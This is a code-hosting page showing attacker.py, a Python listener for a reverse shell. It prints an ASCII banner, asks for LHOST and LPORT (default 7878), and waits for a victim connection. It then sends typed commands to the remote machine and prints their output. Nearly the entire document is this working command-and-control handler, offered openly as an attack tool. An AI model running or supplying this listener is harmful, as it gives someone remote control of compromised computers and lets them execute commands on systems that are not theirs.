-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathattacker.py
More file actions
51 lines (42 loc) · 1.82 KB
/
attacker.py
File metadata and controls
51 lines (42 loc) · 1.82 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import socket
import os
os.system('cls')
blue = '\x1b[34m'
green = '\x1b[32m'
red = '\x1b[41m'
cyan = '\x1b[36m'
red2 = '\x1b[31m'
stop = '\x1b[0m'
print(f"""{red2} :::::::: ::: ::: ::::::::: ::: ::: ::: :::::::: ::: :::
:+: :+: :+:+: :+:+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+:
+:+ +:+ +:+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+
+#+ +#+ +:+ +#+ +#+ +:+ +#++:++#++ +#++:++#++: +#+ +#++:++
+#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+
#+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+#
######## ### ### ######### ### ### ### ### ######## ### ###
{stop}""")
ip = input(f'{blue}LHOST :{stop} ')
print('\n')
port = input(f'{blue}LPORT [default port: 7878] :{stop} ')
print('\n')
try:
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((ip, int(port)))
print(f'{cyan}connecting...{stop}')
server.listen(2)
client, addr = server.accept()
print(f'{cyan}connected to {addr}{stop}')
except Exception as e:
print(f'{red}{e}{stop}')
else:
cmdlet = input('$ ')
try:
while cmdlet != 'quit':
client.send(cmdlet.encode('utf-8'))
result = client.recv(8192).decode('utf-8')
print(f'{green}{result}{stop}')
cmdlet = input('$ ')
server.close
print(f'{red}Disconnected from {ip} @ {port}{stop}')
except Exception as e1:
print(f'{red}{e1}{stop}')